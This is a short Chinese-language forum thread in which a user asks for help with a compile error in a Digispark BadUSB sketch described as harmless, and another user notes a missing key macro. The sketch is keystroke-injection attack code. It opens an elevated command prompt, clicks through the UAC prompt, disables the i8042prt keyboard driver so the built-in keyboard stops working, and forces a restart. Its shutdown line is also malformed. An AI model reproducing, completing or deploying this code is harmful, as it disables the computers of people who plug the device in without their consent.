编译时报错,想做一个无什么危害的badusb(代码，图片见帖子)

littletree

#include "DigiKeyboard.h"

void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.println("sc config i8042prt start= disabled");
DigiKeyboard.delay(500);
DigiKeyboard.println("shutdown -r-t 3 -c "3 seconds later restart"");

}

void loop() {
}

littletree

图片在附件

littletree

报错处已标红

赵巴拉巴拉

KEY_ARROW_LEFT没有被定义，你打开头文件，看看是否有这个变量的宏定义